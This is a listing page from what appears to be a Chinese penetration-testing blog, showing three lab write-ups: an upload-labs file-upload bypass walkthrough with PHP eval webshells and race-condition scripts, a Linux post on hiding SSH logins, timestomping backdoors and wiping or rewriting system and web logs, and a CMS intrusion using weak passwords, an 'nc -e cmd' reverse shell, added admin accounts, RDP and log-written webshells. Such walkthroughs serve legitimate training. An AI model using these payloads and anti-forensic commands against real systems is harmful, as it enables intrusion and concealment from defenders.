首页
工具导航
留言面板
友情链接
Search
1
【红队工具】VShell v4.9.3 高级版,国产C2工具下载及使用
7,828 阅读
2
2025最新渗透测试靶场推荐,新手必练的靶场推荐
5,158 阅读
3
src平台推荐,挖SRC必须知道的25个漏洞提交平台
4,322 阅读
4
几个常见的密码字典推荐
3,392 阅读
5
全网首发!HMV全套windows机器提权,域渗透教程,2w字超详细
3,214 阅读
AI
OSCP打靶
安全服务
建站
泷羽收录
渗透学习
渗透工具
服务器
登录
Search
标签搜索
渗透测试
内网渗透
Linux
网络协议
vulnhub
SQL注入
靶场实战
提权
代理隧道
域渗透
信息收集
权限提升
WAF绕过
hackmyvm
AI安全
云安全
权限维持
红队攻击
蓝队防御
云服务
白小羽
累计撰写
188
篇文章
累计收到
0
条评论
首页
导航
工具导航
留言面板
友情链接
搜索到
9
篇与
的结果
2025-05-18
linux进程隐藏
暂无简介
2025年05月18日
1,343 阅读
0 评论
0 点赞
2025-05-18
upload-labs通关全教程Web安全-文件上传漏洞超详细解析
不多废话,直接上理论呛死你(❍ᴥ❍ʋ)什么是文件上传漏洞?环境靶场:upload-labs服务器:centos7数据库:mysql5.7php:5.5nginx:1.24在开始之前先介绍一款windows defender卸载工具,提高渗透效率,不然文件上传成功就被杀了,文章在这儿,使用方法和下载链接很详细https://mp.weixin.qq.com/s/0L6EIYnnGqXaUveM7RWl6w漏洞简介文件上传漏洞通常发生在程序设计中,由于对用户上传文件的处理不当或存在缺陷,导致用户能够绕过权限限制,向服务器上传具有执行能力的动态脚本文件。这些文件可能包括木马程序、病毒、恶意脚本或WebShell等。尽管文件上传本身并非问题所在,但服务器对上传文件的处理和解释方式不当,可能会引发严重后果。高危触发点在任何提供文件上传功能的应用中,都可能存在文件上传漏洞的风险,例如在相册、头像上传、视频和照片分享等场景中。此外,论坛发帖和电子邮件附件上传等功能,也是文件上传漏洞的高风险区域。同样,文件管理器等工具也可能成为攻击者利用的目标。注意:移动设备同样面临着文件上传漏洞的威胁。漏洞复现upload-labs(1-21关)第一关(前端验证)由于靶场配置必须要使用php5.2版本才能正常运行,建议去https://fofa.info/找到描述为upload-labs的ip地址进入即可在开始闯关之前我们需要用到一句话木马,php文件代码如下<?php @eval($_POST['shell']);?>第一关因为是进行前端JS校验,分析源码可以直接在浏览器检查代码把checkFile()函数(即如下图红色框选中的函数)删了或者也可以把红色框改成true,并按回车,即可成功上传php文件。但是更改为return true之后还是在提示文件类型不正确这时候我们把js复制下来,打开浏览器控制台,并回车,直接重置checkFile()这个同名函数,使js执行俩次。上传成功。使用中国蚁剑测试,连接密码就是你php post请求的shell参数第二种方法就是禁用浏览器的javascript木马上传成功第二关(MIME验证)使用抓包工具,抓到了包,第一关是抓不到的,我们把上传的jpg文件修改为php即可上传成功第三关(黑名单验证,特殊后缀)将文件后缀修改为php1,php2即可不过需要注意,上传成功后文件名称改变了第四关(黑名单验证,.htaccess)通过上传htaccess文件进行绕过由于黑名单没有过滤htaccess文件后缀名,我们可以上传一个htaccess文件,让文件所在位置的目录下文件被php解析。使用前提要在apache下的httpd.conf文件更改。启用.htaccess,需要修改httpd.conf,启用AllowOverride,并可以用AllowOverride限制特定命令的使用。打开httpd.conf文件用文本编辑器打开后,查找更改为重启Apache,上传.htaccess文件,然后再上传phpinfo的jpg文件.htaccess文件内容如下setHandler application/x-httpd-php复现失败!(。◕ ∀ ◕。) ,哈哈哈哈,好像要特定的环境,自己去找找资料吧,小编我也找了好久没出来。不急,还有第二种发方法,windows特性后缀xxx.php. .上传文件之后会自动去掉后面的内容不愧是中国蚂蚁,over!第五关(黑名单验证,.user.ini.)和第四关一样php. .第六关(黑名单验证,大小写绕过)这一关同样是后端黑名单,.htaccess和.ini。但是没有使用strtolower()函数,可以使用大小写绕过黑名单把.php 格式改为.Php上传上去之后,就会自动解析为.注意上传成功后的真实的文件地址。第七关(黑名单验证,空格绕过)仔细分析源代码,容易发现代码中并没有把空格去掉$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = $_FILES['upload_file']['name']; $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext; if (move_uploaded_file($temp_file,$img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件不允许上传'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }使用burp suite劫持包在文件后缀添加一个空格,上payload,filename="myscript.php "上传成功第八关(黑名单验证,点号绕过)这一关黑名单,没有使用deldot()过滤文件名末尾的点,可以使用文件名后加 .进行绕过,即scirpt.php.。第九关(黑名单验证,特殊字符::$DATA绕过)php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。第十关(黑名单)分析源码,源码中使用deldot()函数,即字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止。提示:deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来echo deldot("hello world")."n"; echo deldot("hello world.")."n"; echo deldot("hello world....")."n"; echo deldot("hello.world.")."n"; //输出结果为 hello world hello world hello world hello.world第十关源码$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = deldot($file_name);//删除文件名末尾的点 $file_ext = strrchr($file_name, '.'); $file_ext = strtolower($file_ext); //转换为小写 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //首尾去空 if (!in_array($file_ext, $deny_ext)) { $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = '此文件类型不允许上传!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; } }第十一关(黑名单验证,双写绕过)str_ireplace 是 PHP 中的一个函数,它用于将字符串中的某些部分替换为其他字符串,并且对大小写不敏感。$is_upload = false; $msg = null; if (isset($_POST['submit'])) { if (file_exists(UPLOAD_PATH)) { $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini"); $file_name = trim($_FILES['upload_file']['name']); $file_name = str_ireplace($deny_ext,"", $file_name); $temp_file = $_FILES['upload_file']['tmp_name']; $img_path = UPLOAD_PATH.'/'.$file_name; if (move_uploaded_file($temp_file, $img_path)) { $is_upload = true; } else { $msg = '上传出错!'; } } else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; }通过源码我们可以发现,他仅仅对文件名称进行了替换,替换之后的后缀没有进行黑名单验证,这里我们就可以使用双写文件后缀进行文件上传,例如filename="info.pphphp"。上传成功第十二关(get00截断)这一关白名单,通过%00截断可绕过白名单限制,但需确保PHP版本低于5.3.4且magic_quotes_gpc已关闭。原理简述:PHP函数如move_uploaded_file在底层C语言实现时,会因遇到0x00(URL编码为%00)截断字符串。利用此特性,可绕过某些文件上传限制。第十三关(post 00截断)使用00截断的几个前提条件:PHP版本 < 5.3.4magic_quotes_gpc关闭。如果启用了magic_quotes_gpc,PHP会自动转义所有通过 GET、POST 和 COOKIE 数据传递的特殊字符,这可能会阻止 %00 截断攻击。但这个配置项在PHP 5.4.0中被移除。第十四关(图片马unpack)源码通过分析上传文件的前两个字节来识别其类型,并据此重命名文件。我们使用cmd命令opy 777.avif/b + zoe.php pass14.avif创建了一个隐藏PHP代码的图片文件。用文档打开2.jpg,发现合并成功。上传此图片木马后,并且通过文件包含漏洞触发并执行其中的PHP代码,而包含页面的链接已经给出。下面这段代码中通过获取URL中的file参数,进行文件包含。执行图片文件。出现如下错误问题显示在行8,我们去查看一下第八行是什么内容。<?这个符号,不就是php的脚本符号嘛,把它删掉,再次包含执行jpg文件文件包含执行成功,此时即可使用中国蚂蚁连接第十五关(getimagesize图片马)分析源码function isImage($filename){ $types = '.jpeg|.avif|.gif'; if(file_exists($filename)){ //获取图片的尺寸信息 $info = getimagesize($filename); //检查前俩个字节是否输入图片 $ext = image_type_to_extension($info[2]); if(stripos($types,$ext)>=0){ return $ext; }else{ return false; } }else{ return false; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }我们发现仅仅只做了图片的判断,并没有对我们图片马,进行限制。所以照样可以用14关的通关方法,进行getshell第十六关(exif_imagetype图片马)分析源码//进行文件类型判断 function isImage($filename){ //需要开启php_exif模块 $image_type = exif_imagetype($filename); switch ($image_type) { case IMAGETYPE_GIF: return "gif"; break; case IMAGETYPE_JPEG: return "jpg"; break; case IMAGETYPE_PNG: return "png"; break; default: return false; break; } } $is_upload = false; $msg = null; if(isset($_POST['submit'])){ $temp_file = $_FILES['upload_file']['tmp_name']; $res = isImage($temp_file); if(!$res){ $msg = "文件未知,上传失败!"; }else{ $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res; if(move_uploaded_file($temp_file,$img_path)){ $is_upload = true; } else { $msg = "上传出错!"; } } }也是一样进行文件类型判断,没有对图片马进行判断,照样可以使用第14关的绕过方法。第十七关(二次渲染绕过)在这一环节,上传的图片经过了后缀名、内容类型和imagecreatefromgif函数的严格验证,确保其为GIF格式。随后,图片经过了二次渲染处理。然而,在后端的二次渲染过程中,需要识别并标记出渲染后未发生改变的十六进制(Hex)区域。通过利用文件包含漏洞,可以在这些未变区域嵌入恶意代码,进而使用蚁剑工具进行远程连接和操作。注意:对于做文件上传之二次渲染建议用GIF图片,这里小编为大家准备了一个GIF马,大家自行提取百度网盘提取码:1212 https://pan.baidu.com/s/1iHJWxIB3JYB78JylJzeAGg?pwd=1212上传指定马后使用中国蚂蚁连接。连接成功第十八关(条件竞争一)查看提示审计代码$is_upload = false; $msg = null; if(isset($_POST['submit'])){ //定义一个数组,用来保存允许上传图片的后缀 $ext_arr = array('jpg','png','gif'); //获取文件名称 $file_name = $_FILES['upload_file']['name']; //临时文件 $temp_file = $_FILES['upload_file']['tmp_name']; //使用substr截取文件后缀 $file_ext = substr($file_name,strrpos($file_name,".")+1); //上传的文件路径 $upload_file = UPLOAD_PATH . '/' . $file_name; //将临时的文件,移动到新位置。 if(move_uploaded_file($temp_file, $upload_file)){ //如果问及那的后缀在数组ext_arr中就上传图片 if(in_array($file_ext,$ext_arr)){ //定义图片上传路径名 $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext; //修改文件名称,为上传路径名 rename($upload_file, $img_path); //上传 $is_upload = true; }else{ $msg = "只允许上传.jpg|.avif|.gif类型文件!"; unlink($upload_file); } }else{ $msg = '上传出错!'; } }通过分析,仅仅只是判断文件名称,和修改上传的文件名称,如果临时文件的后缀不在黑名单里面,就删除这个临时文件,那么这个临时文件在没有删除之前执行我们上传的代码块呢。我们可以利用burp多线程发包,然后不断在浏览器访问我们的webshell,总会有一瞬间的访问成功。这个页面中没有文件包含漏洞,图片马的漏洞利用条件就是文件包含。此时没有这个漏洞了,那么可以使用如下方法。将一句话代码更改为如下内容。<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>使用Burp Suite连续重放PHP文件上传请求,同时用Python脚本频繁访问该文件。在文件被删除前访问成功,即可在目录下创建一个包含一句话木马的Tony.php。这种方法在渗透测试中有效,因为它避免了仅访问phpinfo()文件的局限性。生成的Tony.php不会被服务器自动删除,从而允许我们通过蚁剑进行连接。首先,我们上传PHP文件,用BP拦截,并发送到攻击器Intruder清除所有的payload提示:进行下一步操作前,千万要注意,就是不要把BP的拦截功能关闭了,要一直保持拦截状态,才有更好的效果。接着设置无限发送空的Payloads,来让它一直上传该文件最后建议这里把线程设置高一点,提高练习渗透效率然后我们写一个Python脚本,通过它来不停的访问我们上传上去的PHP文件(即如上图显示的myscript.php文件)import requests def main(): url='http://192.168.209.131/upload/myscript.php' while True: res = requests.get(url) print('未找到php文件') if res.status_code == 200: print('over!') break if __name__ == '__main__': main()开始攻击了在BP攻击的同时我们也要运行Python脚本,目的就是不停地访问myscript.php知道成功访问到为止。当出现OK说明访问到了该文件,那么shell.php应该也创建成功了,用蚁剑连一下试试。测试连接,over!第十九关(条件竞争二)上传GIF测试发现路径少了一个/,应该是开发者少添加了一个斜杠,去服务器把源文件改下从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。建立一句话木马<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["shell"])?>');?>制作图片马上传图片马,用BP拦截(基本上在BP上的操作跟上面第18关没区别)注意上传的是图片马就行。Python脚本import requests def main(): url='http://192.168.209.131/upload/pass19.avif' while True: res = requests.get(url) print('未找到png文件') if res.status_code == 200: print('over!') break if __name__ == '__main__': main()过程参考第十八关。注意蚂蚁连接的文件是注入的一句话木马创建的文件。第二十关(黑名单)有俩种方法,使用制作好的图片马上传,然后利用labs自带的includ漏洞进行包含,但是关卡没有说使用文件包含。在php中move_uploaded_file有一个特性修改上传文件名称为upload-19.php/.上传成功蚂蚁宝宝测试,over!第二十一关这一关是利用数组绕过验证上传成功后观察上传成功的URL,多了个jpg那么我们使用第二个数组呢,岂不是就变为xxx.php.了查看上传成功的URL上传成功!总结文件上传漏洞通常源于Web应用未对上传文件进行严格校验,导致恶意用户可能上传执行脚本,从而控制应用。通过upload-labs等实战平台,可以学习多种防护和绕过技巧。防御措施包括:隐藏上传文件路径,避免暴露。禁止上传文件的执行权限。实施文件类型白名单和黑名单策略。重命名上传文件,降低被猜测的风险。对上传文件进行内容二次处理。检查文件内容,确保安全。根据系统特性,定制化安全防护策略。欢迎关注我的公众号【小羽网安】,里面不定期更新我自己的学习记录,用于更好的帮助萌新们解决问题。感谢阅读!原文链接https://mp.weixin.qq.com/s/od0djMG4iwO755N2YgDAHg
2025年05月18日
1,642 阅读
0 评论
0 点赞
2025-05-18
linux隐身登录
ssh隐身登录前言之前在打靶机的时候遇见的知识点。今天刚好优化学习一下,如果哪里有错误还请指正,欢迎留言,让更多的师傅们交流学习,还请不要使用文章内容进行非法渗透。本次教程主要用到w和last两个命令w命令介绍w 是什么?我用的Ubuntu系统,在ubuntu系统中的w命令,主要用于显示当前当前登录用户的所有信息,包括正在执行的命令。比如我新建两个ssh连接(也就是两个终端,连同一个服务器)。终端1:执行 ping www.baidu.com在ping的过程中,打开终端2,那么就能看到当前用户正在使用 ping 命令但是我们使用 w 命令的时候,此时能看到当前登录的信息,这个TTY下的pts/0和pts/2意思就是伪终端的区分,也就是两个不同的ssh连接。两个ssh的连接,连接的同一个服务器last命令last命令主要用于显示用户的登录历史记录。这个命令会读取/var/log/wtmp文件(在某些系统中可能是/var/log/btmp)同样的我们登录两个ssh连接,使用这个命令也能看到有两台机器登录隐藏登录真实渗透过程中是相当致命的。那么如何隐藏自己呢?那么就要用到如下命令ssh -T root@xxx.xxx.xxx.xxx /bin/bash -i 命令拆解-T :告诉ssh客户端,不要分配一个TTY(伪终端)root :连接用户xxx.xxx.xxx.xxx :连接的服务器ip地址/bin/bash :在远程服务器上启动一个交互式的Bash shell。效果如下,默认登录一个终端的时候,会有一个pts/0,但是这里已经成功隐藏了登录配置一台正常连接的ssh终端,也可以看到,我同时登录了两台服务器,但是只显示了一台服务器登录。ssh root@xxx.xxx.xxx.xxx出于安全考虑,通常禁用root通过ssh登录,或者禁止root用户执行某些操作,使用普通用户登录系统。排查使用 $PPID,可以看到当前用户的父进程信息。清楚当前的history记录如果我们不希望命令被记录,在退出会话前直接执行:# 清楚当前会话的命令历史记录 history -r # 或者 不给当前的shell留时间去处理,内存的命令也没时间写入到文件 kill -9 $$history -r将历史命令文件中的命令(/.bash_history) 读入当前历史命令缓冲区.history -r 把历史文件(/.bash_history)附加到内存数据中了举例,ping www.baidu.com后,kill,连接断开重新登录,history,并没有ping 这条命令,隐藏成功正常退出重连,history隐藏Vim的操作记录当我们使用 vim时候,会在 ~/.viminfo留下操作记录,建议使用vi 。 或者在vim中使用命令关闭记录。:set history=0 :!command 隐藏文件修改时间一般管理员会查看一个文件的修改时间,我们可以把我们的后门文件时间修改成几天之前创建的效果。使用如下命令。# touch -r A B ,将 B 文件的日期改为 A 文件的日期 touch -r appsetting.json longyusec.txt虽然如此,但还是能用stat命令看到修改时间stat中的三个属性意思是最近访问(access time):表示我们最后一次访问(仅仅是访问,没有改动)文件的时间 最近更改(modify time):表示我们最后一次修改文件的时间 最近改动(change time):表示我们最后一次对文件属性改变的时间,包括权限,大小,属性等等或者使用find命令,查找24小时内被修改过的文件find ./ -ctime 0 -name 'longyusec.txt'那么如果再绕过 stat的检测呢? 修改系统时间后再 touch -r A B 就可以了。最后记得把系统时间改回来啊锁定文件有时候你发现用root权限都不能修改某个文件,大部分原因是曾经用chattr命令锁定该文件了。此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。chattr命令不能保护/、/dev、/tmp、/var目录。lsattr命令是显示chattr命令设置的文件属性。chattr +i shell.php #锁定文件 rm -rf shell.php #提示禁止删除 lsattr shell.php #属性查看 chattr -i shell.php #解除锁定 rm -rf shell.php #删除文件让某个文件只能往里面追加数据,但不能删除,适用于各种日志文件# chattr +a /var/log/messages清除系统日志痕迹Linux 系统存在多种日志文件,来记录系统运行过程中产生的日志清除系统日志痕迹/var/log/btmp 记录所有登录失败信息,使用lastb命令查看 /var/log/lastlog 记录所有用户最后一次登录时间的日志,使用lastlog命令查看 /var/log/wtmp 记录所有用户的登录、注销信息,使用last命令查看 /var/log/utmp 记录当前已经登录的用户信息,使用w,who,users等命令查看 /var/log/secure 记录与安全相关的日志信息 /var/log/message 记录系统启动后的信息和错误日志 # 直接覆盖日志文件 echo > /var/log/btmp cat /dev/null > /var/log/secure # 删除所有匹配到字符串的行,比如以当天日期或者自己的登录ip sed -i '/自己的ip/'d /var/log/messages # 全局替换登录IP地址: sed -i 's/192.168.166.85/192.168.1.1/g' secure清除web日志入侵痕迹# 直接替换日志ip地址 sed -i 's/192.168.166.85/192.168.1.1/g' access.log # 清除部分相关日志 cat /var/log/nginx/access.log | grep -v evil.php > tmp.log # 把修改过的日志覆盖到原日志文件 cat tmp.log > /var/log/nginx/access.log/文件安全删除工具# shred 命令 安全的从硬盘上擦除数据,默认覆盖3次,通过 -n指定数据覆盖次数 [root@centos]# shred -f -u -z -v -n 8 1.txt # wipe 使用特殊的模式来重复地写文件,从磁性介质中安全擦除文件 [root@centos]# wipe filename学习于(有删改):https://www.cnblogs.com/awake1t/p/14504139.html往期推荐【重要通知】关于举办第二届CN-fnst::CTF的通知【kali笔记】这样炫酷的终端签名,是如何打印出来的?渗透测试高频面试题分享upload-labs通关全教程(建议萌新收藏)Web安全-文件上传漏洞超详细解析开箱即用!265种windows渗透工具合集--灵兔宝盒
2025年05月18日
1,665 阅读
0 评论
0 点赞
2025-05-18
深入某CMS渗透测试:从弱口令到接管webshell
前言401验证,在网络通信和HTTP协议中,特指一种状态码——401 Unauthorized(未经授权)。当客户端尝试访问受保护的资源时,如果未能提供有效的身份验证信息,或者提供的信息不足以获得访问权限,服务器就会返回401状态码,表示请求未被授权。靶场复现弱口令123456当然也可以使用bp爆破base64解密添加迭代器,用户字典在这里添加一个冒号添加密码字典添加处理规则base64编码这里发现一个百分号的url编码,他就是我们401认证中间的冒号这里取消url编码即可然后进行爆破即可,找到一个响应为200的就是爆破成功的然后解密就好返回页面登录成功后就会得到key1进入到首页登录sql注入尝试,被验证了双引号也不行对搜索框进行xss攻击,发现对<>进行了过滤url编码,但是被转义成了script的a标签,还是以字符串的形式添加到相关搜索注册一个用户信息这里成功注册了,但是也没有alert(1)查看首页过来,也没有,修改闭合标签<strong>试试修改信息,并添加一个strong标签失败了,好像还有字符长度限制在短消息界面中尝试xss失败,没效果xss验证,被转义成了字符串</textarea><script>alert(1)</script>好家伙直接添加成功,也没有xss漏洞找到默认 织梦 后台管理地址管理员没有修改默认登录界面admin 万能密码绕过,没有效果查看端口开放信息这个端口也没有什么东西3306端口,mysql远程连接试试,拒绝远程连接robots爬虫协议/include/templets,都没发现什么东西找到头像设置界面,一句话图片马能上传了可以上传图片,但是找了好一会儿,没有找到文件包含的地方御剑目录扫描扫不出任何东西这里有一个认证,就是401认证,用普通的目录扫描工具是扫不出任何东西的Authorization: Basic YWRtaW46MTIzNDU2用burp suite扫描抓包指定好御剑的字典目录扫描路径刚刚扫描到的phpmyadmin这个错误介绍MySQL是一个流行的开放源代码关系数据库管理系统。它是许多Web应用程序的基础,例如WordPress,Magento和Drupal等。MySQL允许用户通过自己的主机或云服务器上的phpMyAdmin进行MySQL管理。然而,有时候用户可能会遇到MySQL Error # 1045 – Cannot Log in to MySQL server -> phpmyadmin错误。这篇文章将介绍这个错误,以及如何解决它。错误原因该错误通常意味着您没有权限访问MySQL服务器。在MySQL中有一个root用户,它是MySQL服务器的超级管理员。如果您尝试使用root用户登录MySQL服务器但不知道密码,或者尝试通过phpMyAdmin使用root用户但是密码错误,那么您就会遇到MySQL Error # 1045。此外,如果您使用的是不正确的用户名或密码,也会遇到此错误。弱口令root/root成功一、后台文件上传登录mysql,找到指定的数据表,查看admin密码解密admin/888888成功进入到了后台界面找到这个文件式管理器,找到key2查看这个key2上传php文件用nmap进行扫描扫出来结果为windows系统执行命令dir查看系统信息,是windows server 2008操作系统在当前uploads目录上传一个nc.exe移交cmd权限到攻击机器nc.exe [ip] [端口] -e cmddir查看是否成功查看用户权限信息,是超级管理员,那么我们就可以添加一个管理员用户添加用户,并添加到admin用户组# 添加一个用户 net user 用户名 password /add # 添加用户名到指定用户组 net localgroup administrators 用户名 /add开启远程wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1nmap扫描指定端口,查看是否开启用你刚刚添加的用户进行远程连接查看administrator目录,成功访问,获得目标服务器权限,这里环境没有配置key3,演示结束。二、日志写入phpmyadmin日志功能SHOW VARIABLES LIKE "%general%"这里我们查看日志状态是开启的,我们可以尝试写日志的方式,获取shell命令如果没有打开也可以使用如下脚本,打开日志功能SET GLOBAL GENERAL_LOG=on在上面我们看到了日志的路径,确定了本站为phpstudy搭建的,我们修改日志文件到我们的shell.php查看脚本是否存在写入日志SELECT "<?php @eval($_POST[10]); ?>"这里不要忘了添加401验证的请求头
2025年05月18日
896 阅读
0 评论
0 点赞
1
2